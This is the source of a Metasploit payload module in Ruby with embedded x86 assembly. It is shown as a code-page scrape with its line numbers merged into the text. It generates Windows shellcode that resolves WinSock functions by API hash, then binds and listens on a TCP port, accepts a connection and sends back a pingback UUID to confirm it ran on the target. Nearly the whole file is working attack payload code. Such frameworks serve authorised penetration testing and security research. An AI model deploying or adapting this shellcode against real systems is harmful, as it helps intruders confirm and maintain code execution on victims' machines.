Path: blob/master/modules/payloads/singles/windows/pingback_bind_tcp.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 31478include Msf::Payload::Windows9include Msf::Payload::Single10include Msf::Payload::Pingback11include Msf::Payload::Windows::BlockApi12include Msf::Payload::Pingback::Options13include Msf::Payload::Windows::Exitfunk1415def initialize(info = {})16super(17merge_info(18info,19'Name' => 'Windows x86 Pingback, Bind TCP Inline',20'Description' => 'Open a socket and report UUID when a connection is received (Windows x86)',21'Author' => [ 'bwatters-r7' ],22'License' => MSF_LICENSE,23'Platform' => 'win',24'Arch' => ARCH_X86,25'Handler' => Msf::Handler::BindTcp,26'Session' => Msf::Sessions::Pingback27)28)29end3031def required_space32# Start with our cached default generated size33space = cached_size3435# EXITFUNK 'seh' is the worst case, that adds 15 bytes36space += 153738space39end4041def generate(_opts = {})42encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack('N').first43encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || '127.127.127.127').unpack('V').first44[encoded_host, encoded_port]45self.pingback_uuid ||= generate_pingback_uuid46uuid_as_db = '0x' + self.pingback_uuid.chars.each_slice(2).map(&:join).join(',0x')47conf = { exitfunk: datastore['EXITFUNC'] }48addr_fam = 249sockaddr_size = 165051asm = %^52cld ; Clear the direction flag.53call start ; Call start, this pushes the address of 'api_call' onto the stack.54#{asm_block_api}55start:56pop ebp57; Input: EBP must be the address of 'api_call'.58; Output: EDI will be the newly connected clients socket59; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)6061bind_tcp:62push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.63push 0x5F327377 ; ...64push esp ; Push a pointer to the "ws2_32" string on the stack.65push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}66call ebp ; LoadLibraryA( "ws2_32" )6768mov eax, 0x0190 ; EAX = sizeof( struct WSAData )69sub esp, eax ; alloc some space for the WSAData structure70push esp ; push a pointer to this struct71push eax ; push the wVersionRequested parameter72push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}73call ebp ; WSAStartup( 0x0190, &WSAData );7475push 1176pop ecx77push_0_loop:78push eax ; if we succeed, eax will be zero, push it enough times79; to cater for both IPv4 and IPv680loop push_0_loop8182; push zero for the flags param [8]83; push null for reserved parameter [7]84; we do not specify a WSAPROTOCOL_INFO structure [6]85; we do not specify a protocol [5]86push 1 ; push SOCK_STREAM87push #{addr_fam} ; push AF_INET/688push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}89call ebp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );90xchg edi, eax ; save the socket for later, don't care about the value of eax after this9192; bind to 0.0.0.0/[::], pushed earlier9394push #{encoded_port} ; family AF_INET and port number95mov esi, esp ; save a pointer to sockaddr_in struct96push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)97push esi ; pointer to the sockaddr_in struct98push edi ; socket99push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}100call ebp ; bind( s, &sockaddr_in, 16 );101test eax,eax ; non-zero means a failure102jnz failure103; backlog, pushed earlier [3]104push edi ; socket105push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}106call ebp ; listen( s, 0 );107108; we set length for the sockaddr struct to zero, pushed earlier [2]109; we dont set the optional sockaddr param, pushed earlier [1]110push edi ; listening socket111push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}112call ebp ; accept( s, 0, 0 );113114push edi ; push the listening socket115xchg edi, eax ; replace the listening socket with the new connected socket for further comms116push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}117call ebp ; closesocket( s );118119send_pingback:120push 0 ; flags121push #{uuid_as_db.split(',').length} ; length of the PINGBACK UUID122call get_pingback_address ; put pingback_uuid buffer on the stack123db #{uuid_as_db} ; PINGBACK_UUID124get_pingback_address:125push edi ; saved socket126push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}127call ebp ; call send128129push edi ; push the listening socket130xchg edi, eax ; replace the listening socket with the new connected socket for further comms131push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}132call ebp ; closesocket( s );133134handle_connect_failure:135; decrement our attempt count and try again136dec dword [esi+8]137jnz failure138139cleanup_socket:140; clear up the socket141push edi ; socket handle142push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}143call ebp ; closesocket(socket)144145failure:146^147if conf[:exitfunk]148asm << asm_exitfunk(conf)149end150Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string151end152end153154155